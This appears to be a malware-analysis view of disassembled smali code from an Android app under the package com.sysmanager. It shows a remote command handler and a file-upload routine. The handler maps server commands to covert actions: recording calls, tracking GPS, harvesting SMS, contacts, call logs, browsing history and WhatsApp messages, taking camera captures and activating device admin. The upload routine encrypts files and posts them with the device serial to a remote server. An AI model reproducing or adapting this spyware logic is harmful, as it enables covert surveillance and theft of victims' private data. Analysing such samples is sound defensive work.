383const/16 v2, 0xb
384goto/16 :goto_2e
385sswitch_1f7:
386const-string v3, "sms"
388invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
389move-result v3
390if-eqz v3, :cond_2e
391const/16 v2, 0xc
392goto/16 :goto_2e
393sswitch_203:
394const-string v3, "registro_chiamate"
396invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
397move-result v3
398if-eqz v3, :cond_2e
399const/16 v2, 0xd
400goto/16 :goto_2e
401sswitch_20f:
402const-string v3, "history"
404invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
405move-result v3
406if-eqz v3, :cond_2e
407const/16 v2, 0xe
408goto/16 :goto_2e
409sswitch_21b:
410const-string v3, "cancan"
412invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
413move-result v3
414if-eqz v3, :cond_2e
415const/16 v2, 0xf
416goto/16 :goto_2e
417sswitch_227:
418const-string v3, "enable_location"
420invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
421move-result v3
422if-eqz v3, :cond_2e
423const/16 v2, 0x10
424goto/16 :goto_2e
425sswitch_233:
426const-string v3, "filelists"
428invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
429move-result v3
430if-eqz v3, :cond_2e
431const/16 v2, 0x11
432goto/16 :goto_2e
433sswitch_23f:
434const-string v3, "info"
436invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
437move-result v3
438if-eqz v3, :cond_2e
439const/16 v2, 0x12
440goto/16 :goto_2e
441sswitch_24b:
442const-string v3, "call_recording_y"
444invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
445move-result v3
446if-eqz v3, :cond_2e
447const/16 v2, 0x13
448goto/16 :goto_2e
449sswitch_257:
450const-string v3, "call_recording_n"
452invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
453move-result v3
454if-eqz v3, :cond_2e
455const/16 v2, 0x14
456goto/16 :goto_2e
457sswitch_263:
458const-string v3, "status"
460invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
461move-result v3
462if-eqz v3, :cond_2e
463const/16 v2, 0x15
464goto/16 :goto_2e
465sswitch_26f:
466const-string v3, "runweb"
468invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
469move-result v3
470if-eqz v3, :cond_2e
471const/16 v2, 0x16
472goto/16 :goto_2e
473sswitch_27b:
474const-string v3, "admin"
476invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
477move-result v3
478if-eqz v3, :cond_2e
479const/16 v2, 0x17
480goto/16 :goto_2e
481sswitch_287:
482const-string v3, "accessibility"
484invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
485move-result v3
486if-eqz v3, :cond_2e
487const/16 v2, 0x18
488goto/16 :goto_2e
489sswitch_293:
490const-string v3, "resetalarm"
492invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
493move-result v3
494if-eqz v3, :cond_2e
495const/16 v2, 0x19
496goto/16 :goto_2e
497sswitch_29f:
498const-string v3, "camera"
500invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
501move-result v3
502if-eqz v3, :cond_2e
503const/16 v2, 0x1a
504goto/16 :goto_2e
505sswitch_2ab:
506const-string v3, "social"
508invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
509move-result v3
510if-eqz v3, :cond_2e
511const/16 v2, 0x1b
512goto/16 :goto_2e
513sswitch_2b7:
514const-string v3, "whatsapp_msg"
516invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
517move-result v3
518if-eqz v3, :cond_2e
519const/16 v2, 0x1c
520goto/16 :goto_2e
521sswitch_2c3:
522const-string v3, "wifi3gsetting"
524invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
525move-result v3
526if-eqz v3, :cond_2e
527const/16 v2, 0x1d
528goto/16 :goto_2e
529sswitch_2cf:
530const-string v3, "getfile"
532invoke-virtual {v6, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
533move-result v3
534if-eqz v3, :cond_2e
535const/16 v2, 0x1e
536goto/16 :goto_2e
537pswitch_2db:
538invoke-static {p0}, Lcom/sysmanager/MessageManagement;->disattiva(Landroid/content/Context;)V
539goto/16 :goto_31
540pswitch_2e0:
541invoke-static {p0, v1}, Lcom/sysmanager/MessageManagement;->startRecording(Landroid/content/Context;Z)V
542goto/16 :goto_31
543pswitch_2e5:
544invoke-static {p0, v1}, Lcom/sysmanager/MessageManagement;->stopRecording(Landroid/content/Context;Z)V
545goto/16 :goto_31
546pswitch_2ea:
547invoke-static {p0, v1}, Lcom/sysmanager/MessageManagement;->enableNET(Landroid/content/Context;Z)V
548goto/16 :goto_31
549pswitch_2ef:
550invoke-static {p0, v1}, Lcom/sysmanager/MessageManagement;->disableNET(Landroid/content/Context;Z)V
551goto/16 :goto_31
552pswitch_2f4:
553invoke-static {p0, v0, v1}, Lcom/sysmanager/MessageManagement;->enableGPS(Landroid/content/Context;ZZ)V
554goto/16 :goto_31
555pswitch_2f9:
556invoke-static {p0, v1, v1}, Lcom/sysmanager/MessageManagement;->enableGPS(Landroid/content/Context;ZZ)V
557goto/16 :goto_31
558pswitch_2fe:
559invoke-static {p0}, Lcom/sysmanager/MessageManagement;->locationForce(Landroid/content/Context;)V
560goto/16 :goto_31
561pswitch_303:
562invoke-static {p0, v1}, Lcom/sysmanager/MessageManagement;->disableGPS(Landroid/content/Context;Z)V
563goto/16 :goto_31
564pswitch_308:
565invoke-static {p0, v1}, Lcom/sysmanager/MessageManagement;->cellaEnabled(Landroid/content/Context;Z)V
566goto/16 :goto_31
567pswitch_30d:
568invoke-static {p0, v1}, Lcom/sysmanager/MessageManagement;->cellaStop(Landroid/content/Context;Z)V
569goto/16 :goto_31
570pswitch_312:
571invoke-static {p0}, Lcom/sysmanager/MessageManagement;->rubricaEnabled(Landroid/content/Context;)V
572goto/16 :goto_31
573pswitch_317:
574invoke-static {p0}, Lcom/sysmanager/MessageManagement;->smsEnabled(Landroid/content/Context;)V
575goto/16 :goto_31
576pswitch_31c:
577invoke-static {p0}, Lcom/sysmanager/MessageManagement;->callRegisterEnabled(Landroid/content/Context;)V
578goto/16 :goto_31
579pswitch_321:
580invoke-static {p0}, Lcom/sysmanager/MessageManagement;->historyEnabled(Landroid/content/Context;)V
581goto/16 :goto_31
582pswitch_326:
583invoke-static {p0}, Lcom/sysmanager/MessageManagement;->listaApps(Landroid/content/Context;)V
584goto/16 :goto_31
585pswitch_32b:
586invoke-static {p0}, Lcom/sysmanager/MessageManagement;->enableLocation(Landroid/content/Context;)V
587goto/16 :goto_31
588pswitch_330:
589invoke-static {p0}, Lcom/sysmanager/MessageManagement;->listaFile(Landroid/content/Context;)V
590goto/16 :goto_31
591pswitch_335:
592invoke-static {p0}, Lcom/sysmanager/MessageManagement;->infoEnabled(Landroid/content/Context;)V
593goto/16 :goto_31
594pswitch_33a:
595invoke-static {p0, v1, v1}, Lcom/sysmanager/MessageManagement;->callRecording(Landroid/content/Context;ZZ)V
596goto/16 :goto_31
597pswitch_33f:
598invoke-static {p0, v0, v1}, Lcom/sysmanager/MessageManagement;->callRecording(Landroid/content/Context;ZZ)V
599goto/16 :goto_31
600pswitch_344:
601const-string v0, "checkYES"
603const-string v1, "A70"
605invoke-static {v0, p0, v1}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
606goto/16 :goto_31
607pswitch_34d: new-instance v8, Landroid/content/Intent;
608const-class v0, Lcom/sysmanager/MainWeb;
610invoke-direct {v8, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
611const/high16 v0, 0x10000000
613invoke-virtual {v8, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
615invoke-virtual {p0, v8}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
616goto/16 :goto_31
617pswitch_35e:
618invoke-static {p0}, Lcom/sysmanager/MessageManagement;->activateDevAdmin(Landroid/content/Context;)V
619goto/16 :goto_31
620pswitch_363: new-instance v8, Landroid/content/Intent;
621const-class v0, Lcom/sysmanager/AccessibilityDialog;
623invoke-direct {v8, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
624const/high16 v0, 0x10000000
626invoke-virtual {v8, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
628invoke-virtual {p0, v8}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
629goto/16 :goto_31
630pswitch_374: new-instance v0, Landroid/content/Intent;
631const-class v1, Lcom/sysmanager/system/AndroidAlarmManager;
633invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
635invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
636new-instance v0, Landroid/content/Intent;
637const-class v1, Lcom/sysmanager/system/AndroidAlarmManager;
639invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
641invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
642goto/16 :goto_31
643pswitch_38a:
644const-string v0, "param"
646invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
647move-result-object v0
648check-cast v0, Ljava/lang/String;
650invoke-static {p0, v0}, Lcom/sysmanager/MessageManagement;->cameraEnabled(Landroid/content/Context;Ljava/lang/String;)V
651goto/16 :goto_31
652pswitch_397: const-class v0, Lcom/sysmanager/system/AndroidMDMSupport;
654invoke-static {v0, p0}, Lcom/sysmanager/MessageManagement;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
655move-result v0
656if-nez v0, :cond_31
658invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
659move-result-object v0
661const-string v2, "col19"
663invoke-virtual {v0, v2, v1}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
664new-instance v12, Landroid/content/Intent;
665const-class v0, Lcom/sysmanager/system/AndroidMDMSupport;
667invoke-direct {v12, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
669const-string v1, "comando"
671const-string v0, "param"
673invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
674move-result-object v0
675check-cast v0, Ljava/lang/String;
677invoke-virtual {v12, v1, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
679invoke-virtual {p0, v12}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
680goto/16 :goto_31
681pswitch_3c1:
682const-string v0, "param"
684invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
685move-result-object v0
686check-cast v0, Ljava/lang/String;
688invoke-static {p0, v0}, Lcom/sysmanager/MessageManagement;->whatsappEnabled(Landroid/content/Context;Ljava/lang/String;)V
689goto/16 :goto_31
690pswitch_3ce:
691const-string v0, "param"
693invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
694move-result-object v0
695check-cast v0, Ljava/lang/String;
697invoke-static {v0}, Ljava/lang/Boolean;->parseBoolean(Ljava/lang/String;)Z
698move-result v0
700invoke-static {p0, v0, v1}, Lcom/sysmanager/MessageManagement;->wifi3gsettingEnabled(Landroid/content/Context;ZZ)V
701goto/16 :goto_31
702pswitch_3df:
703const-string v0, "pathnumber"
705invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
706move-result-object v0
707check-cast v0, Ljava/lang/String;
709invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
710move-result v11
711new-array v10, v11, [Ljava/lang/String;
712const/4 v7, 0x0
713goto_3ee: if-ge v7, v11, :cond_412
714new-instance v0, Ljava/lang/StringBuilder;
716invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
718const-string v1, "path"
720invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
721move-result-object v0
723invoke-static {v7}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
724move-result-object v1
726invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
727move-result-object v0
729invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
730move-result-object v0
732invoke-interface {p1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
733move-result-object v0
734check-cast v0, Ljava/lang/String;
735aput-object v0, v10, v7
736add-int/lit8 v7, v7, 0x1
737goto/16 :goto_3ee
738cond_412:
739invoke-static {p0, v10}, Lcom/sysmanager/MessageManagement;->sendFileChoose(Landroid/content/Context;[Ljava/lang/String;)V
740goto/16 :goto_31
741nop
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValueString
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValueString
  • java.io.File.<init>
  • java.lang.StringBuilder.<init>
  • android.content.Context.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.getAbsolutePath
  • java.io.File.lastModified
  • java.util.Date.<init>
  • android.text.format.DateFormat.format
  • java.lang.CharSequence.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.Exception.<init>
  • java.io.File.delete
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.startsWith
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
Strings
  • col23
  • /cachel2/
  • _crypt
  • Content-Disposition
  • form-data; name=\"serialnumber\"
  • form-data; name=\"hash\"
  • form-data; name=\"path\"
  • form-data; name=\"creationdate\"
  • yyyy-MM-dd HH:mm:ss
  • form-data; name=\"uploadedfile\";filename=\"
  • _crypt\"
  • User-Agent
  • Serial: A70 Model:
  • Content-Length
  • Unexpected code
  • OK
  • req_server_key.php
  • -----BEGIN CERTIFICATE-----
Position Instruction Meta Information
0.param p0, "outputdir" # Ljava/io/File;
1.param p1, "outputFileName" # Ljava/lang/String;
2.param p2, "serialnumber" # Ljava/lang/String;
3.param p3, "Server" # Ljava/lang/String;
4.param p4, "Url_Upload" # Ljava/lang/String;
5.param p5, "extension" # Ljava/lang/String;
6.param p6, "context" # Landroid/content/Context;
7.prologue
8try_start_0: new-instance v14, Lokhttp3/OkHttpClient$Builder;
10invoke-direct {v14}, Lokhttp3/OkHttpClient$Builder;-><init>()V
11const-wide/16 v16, 0x6
13sget-object v15, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
14move-wide/from16 v0, v16
16invoke-virtual {v14, v0, v1, v15}, Lokhttp3/OkHttpClient$Builder;->connectTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
17move-result-object v14
18const-wide/16 v16, 0x6
20sget-object v15, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
21move-wide/from16 v0, v16
23invoke-virtual {v14, v0, v1, v15}, Lokhttp3/OkHttpClient$Builder;->readTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
24move-result-object v14
25const-wide/16 v16, 0x6
27sget-object v15, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
28move-wide/from16 v0, v16
30invoke-virtual {v14, v0, v1, v15}, Lokhttp3/OkHttpClient$Builder;->writeTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
31move-result-object v14
33invoke-virtual {v14}, Lokhttp3/OkHttpClient$Builder;->build()Lokhttp3/OkHttpClient;
34move-result-object v4
36invoke-static/range {p6 .. p6}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
37move-result-object v14
39const-string v15, "col23"
41invoke-virtual {v14, v15}, Lcom/sysmanager/storage/Settings;->getValueString(Ljava/lang/String;)Ljava/lang/String;
42move-result-object v8
43const/4 v14, 0x0
44move-object/from16 v0, p6
46invoke-static {v8, v14, v0}, Lcom/sysmanager/network/HTTPUtility;->isCertExpired(Ljava/lang/String;ZLandroid/content/Context;)Z
47move-result v14
48if-nez v14, :cond_215
50invoke-static/range {p6 .. p6}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
51move-result-object v14
53const-string v15, "col23"
55invoke-virtual {v14, v15}, Lcom/sysmanager/storage/Settings;->getValueString(Ljava/lang/String;)Ljava/lang/String;
56move-result-object v8
57new-instance v6, Ljava/io/File;
58move-object/from16 v0, p0
59move-object/from16 v1, p1
61invoke-direct {v6, v0, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
62new-instance v7, Ljava/io/File;
63new-instance v14, Ljava/lang/StringBuilder;
65invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V
67invoke-virtual/range {p6 .. p6}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
68move-result-object v15
70invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
71move-result-object v14
73const-string v15, "/cachel2/"
75invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
76move-result-object v14
78invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
79move-result-object v14
80new-instance v15, Ljava/lang/StringBuilder;
82invoke-direct {v15}, Ljava/lang/StringBuilder;-><init>()V
83move-object/from16 v0, p1
85invoke-virtual {v15, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
86move-result-object v15
88const-string v16, "_crypt"
90invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
91move-result-object v15
93invoke-virtual {v15}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
94move-result-object v15
96invoke-direct {v7, v14, v15}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
98invoke-static {v8}, Lcom/sysmanager/costanti/Costanti;->getKeyCrypt(Ljava/lang/String;)Ljava/lang/String;
99move-result-object v14
101invoke-static {v8}, Lcom/sysmanager/costanti/Costanti;->getIVCrypt(Ljava/lang/String;)Ljava/lang/String;
102move-result-object v15
104invoke-static {v14, v15, v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encrypt(Ljava/lang/String;Ljava/lang/String;Ljava/io/File;Ljava/io/File;)V
105new-instance v14, Lokhttp3/MultipartBody$Builder;
107invoke-direct {v14}, Lokhttp3/MultipartBody$Builder;-><init>()V
109sget-object v15, Lokhttp3/MultipartBody;->FORM:Lokhttp3/MediaType;
111invoke-virtual {v14, v15}, Lokhttp3/MultipartBody$Builder;->setType(Lokhttp3/MediaType;)Lokhttp3/MultipartBody$Builder;
112move-result-object v14
113const/4 v15, 0x2
114new-array v15, v15, [Ljava/lang/String;
115const/16 v16, 0x0
117const-string v17, "Content-Disposition"
118aput-object v17, v15, v16
119const/16 v16, 0x1
121const-string v17, "form-data; name=\"serialnumber\""
122aput-object v17, v15, v16
124invoke-static {v15}, Lokhttp3/Headers;->of([Ljava/lang/String;)Lokhttp3/Headers;
125move-result-object v15
126const/16 v16, 0x0
127move-object/from16 v0, v16
128move-object/from16 v1, p2
130invoke-static {v0, v1}, Lokhttp3/RequestBody;->create(Lokhttp3/MediaType;Ljava/lang/String;)Lokhttp3/RequestBody;
131move-result-object v16
133invoke-virtual/range {v14 .. v16}, Lokhttp3/MultipartBody$Builder;->addPart(Lokhttp3/Headers;Lokhttp3/RequestBody;)Lokhttp3/MultipartBody$Builder;
134move-result-object v14
135const/4 v15, 0x2
136new-array v15, v15, [Ljava/lang/String;
137const/16 v16, 0x0
139const-string v17, "Content-Disposition"
140aput-object v17, v15, v16
141const/16 v16, 0x1
143const-string v17, "form-data; name=\"hash\""
144aput-object v17, v15, v16
146invoke-static {v15}, Lokhttp3/Headers;->of([Ljava/lang/String;)Lokhttp3/Headers;
147move-result-object v15
148const/16 v16, 0x0
150invoke-virtual {v7}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
151move-result-object v17
153invoke-static/range {v17 .. v17}, Lcom/sysmanager/network/HTTPUtility;->getHash256OfFile(Ljava/lang/String;)Ljava/lang/String;
154move-result-object v17
156invoke-static/range {v16 .. v17}, Lokhttp3/RequestBody;->create(Lokhttp3/MediaType;Ljava/lang/String;)Lokhttp3/RequestBody;
157move-result-object v16
159invoke-virtual/range {v14 .. v16}, Lokhttp3/MultipartBody$Builder;->addPart(Lokhttp3/Headers;Lokhttp3/RequestBody;)Lokhttp3/MultipartBody$Builder;
160move-result-object v14
161const/4 v15, 0x2
162new-array v15, v15, [Ljava/lang/String;
163const/16 v16, 0x0
165const-string v17, "Content-Disposition"
166aput-object v17, v15, v16
167const/16 v16, 0x1
169const-string v17, "form-data; name=\"path\""
170aput-object v17, v15, v16
172invoke-static {v15}, Lokhttp3/Headers;->of([Ljava/lang/String;)Lokhttp3/Headers;
173move-result-object v15
174const/16 v16, 0x0
176invoke-virtual/range {p0 .. p0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
177move-result-object v17
179invoke-static/range {v16 .. v17}, Lokhttp3/RequestBody;->create(Lokhttp3/MediaType;Ljava/lang/String;)Lokhttp3/RequestBody;
180move-result-object v16
182invoke-virtual/range {v14 .. v16}, Lokhttp3/MultipartBody$Builder;->addPart(Lokhttp3/Headers;Lokhttp3/RequestBody;)Lokhttp3/MultipartBody$Builder;
183move-result-object v14
184const/4 v15, 0x2
185new-array v15, v15, [Ljava/lang/String;
186const/16 v16, 0x0
188const-string v17, "Content-Disposition"
189aput-object v17, v15, v16
190const/16 v16, 0x1
192const-string v17, "form-data; name=\"creationdate\""
193aput-object v17, v15, v16
195invoke-static {v15}, Lokhttp3/Headers;->of([Ljava/lang/String;)Lokhttp3/Headers;
196move-result-object v15
197const/16 v16, 0x0
199const-string v17, "yyyy-MM-dd HH:mm:ss"
200new-instance v18, Ljava/util/Date;
202invoke-virtual {v7}, Ljava/io/File;->lastModified()J
203move-result-wide v20
204move-object/from16 v0, v18
205move-wide/from16 v1, v20
207invoke-direct {v0, v1, v2}, Ljava/util/Date;-><init>(J)V
209invoke-static/range {v17 .. v18}, Landroid/text/format/DateFormat;->format(Ljava/lang/CharSequence;Ljava/util/Date;)Ljava/lang/CharSequence;
210move-result-object v17
212invoke-interface/range {v17 .. v17}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
213move-result-object v17
215invoke-static/range {v16 .. v17}, Lokhttp3/RequestBody;->create(Lokhttp3/MediaType;Ljava/lang/String;)Lokhttp3/RequestBody;
216move-result-object v16
218invoke-virtual/range {v14 .. v16}, Lokhttp3/MultipartBody$Builder;->addPart(Lokhttp3/Headers;Lokhttp3/RequestBody;)Lokhttp3/MultipartBody$Builder;
219move-result-object v14
220const/4 v15, 0x2
221new-array v15, v15, [Ljava/lang/String;
222const/16 v16, 0x0
224const-string v17, "Content-Disposition"
225aput-object v17, v15, v16
226const/16 v16, 0x1
227new-instance v17, Ljava/lang/StringBuilder;
229invoke-direct/range {v17 .. v17}, Ljava/lang/StringBuilder;-><init>()V
231const-string v18, "form-data; name=\"uploadedfile\";filename=\""
233invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
234move-result-object v17
235move-object/from16 v0, v17
236move-object/from16 v1, p1
238invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
239move-result-object v17
240move-object/from16 v0, v17
241move-object/from16 v1, p5
243invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
244move-result-object v17
246const-string v18, "_crypt\""
248invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
249move-result-object v17
251invoke-virtual/range {v17 .. v17}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
252move-result-object v17
253aput-object v17, v15, v16
255invoke-static {v15}, Lokhttp3/Headers;->of([Ljava/lang/String;)Lokhttp3/Headers;
256move-result-object v15
258sget-object v16, Lcom/sysmanager/network/HTTPUtility;->MEDIA_TYPE_FILE_TEXT:Lokhttp3/MediaType;
259move-object/from16 v0, v16
261invoke-static {v0, v7}, Lokhttp3/RequestBody;->create(Lokhttp3/MediaType;Ljava/io/File;)Lokhttp3/RequestBody;
262move-result-object v16
264invoke-virtual/range {v14 .. v16}, Lokhttp3/MultipartBody$Builder;->addPart(Lokhttp3/Headers;Lokhttp3/RequestBody;)Lokhttp3/MultipartBody$Builder;
265move-result-object v14
267invoke-virtual {v14}, Lokhttp3/MultipartBody$Builder;->build()Lokhttp3/MultipartBody;
268move-result-object v10
269new-instance v14, Lokhttp3/Request$Builder;
271invoke-direct {v14}, Lokhttp3/Request$Builder;-><init>()V
273const-string v15, "User-Agent"
274new-instance v16, Ljava/lang/StringBuilder;
276invoke-direct/range {v16 .. v16}, Ljava/lang/StringBuilder;-><init>()V
278const-string v17, "Serial: A70 Model: "
280invoke-virtual/range {v16 .. v17}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
281move-result-object v16
283sget-object v17, Landroid/os/Build;->MODEL:Ljava/lang/String;
285invoke-virtual/range {v16 .. v17}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
286move-result-object v16
288invoke-virtual/range {v16 .. v16}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
289move-result-object v16
291invoke-virtual/range {v14 .. v16}, Lokhttp3/Request$Builder;->header(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
292move-result-object v14
293new-instance v15, Ljava/lang/StringBuilder;
295invoke-direct {v15}, Ljava/lang/StringBuilder;-><init>()V
296move-object/from16 v0, p3
298invoke-virtual {v15, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
299move-result-object v15
300move-object/from16 v0, p4
302invoke-virtual {v15, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
303move-result-object v15
305invoke-virtual {v15}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
306move-result-object v15
308invoke-virtual {v14, v15}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;
309move-result-object v14
311const-string v15, "Content-Length"
313invoke-virtual {v10}, Lokhttp3/RequestBody;->contentLength()J
314move-result-wide v16
316invoke-static/range {v16 .. v17}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
317move-result-object v16
319invoke-virtual/range {v14 .. v16}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
320move-result-object v14
322invoke-virtual {v14, v10}, Lokhttp3/Request$Builder;->post(Lokhttp3/RequestBody;)Lokhttp3/Request$Builder;
323move-result-object v14
325invoke-virtual {v14}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;
326move-result-object v9
328invoke-virtual {v4, v9}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;
329move-result-object v14
331invoke-interface {v14}, Lokhttp3/Call;->execute()Lokhttp3/Response;
332move-result-object v12
334invoke-static {v8}, Lcom/sysmanager/costanti/Costanti;->getKeyCrypt(Ljava/lang/String;)Ljava/lang/String;
335move-result-object v14
337invoke-static {v8}, Lcom/sysmanager/costanti/Costanti;->getIVCrypt(Ljava/lang/String;)Ljava/lang/String;
338move-result-object v15
340invoke-virtual {v12}, Lokhttp3/Response;->body()Lokhttp3/ResponseBody;
341move-result-object v16
343invoke-virtual/range {v16 .. v16}, Lokhttp3/ResponseBody;->string()Ljava/lang/String;
344move-result-object v16
346invoke-static/range {v14 .. v16}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptStringServerCom(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
347move-result-object v13
349invoke-virtual {v12}, Lokhttp3/Response;->isSuccessful()Z
350move-result v14
351if-nez v14, :cond_20b
352new-instance v14, Ljava/lang/Exception;
353new-instance v15, Ljava/lang/StringBuilder;
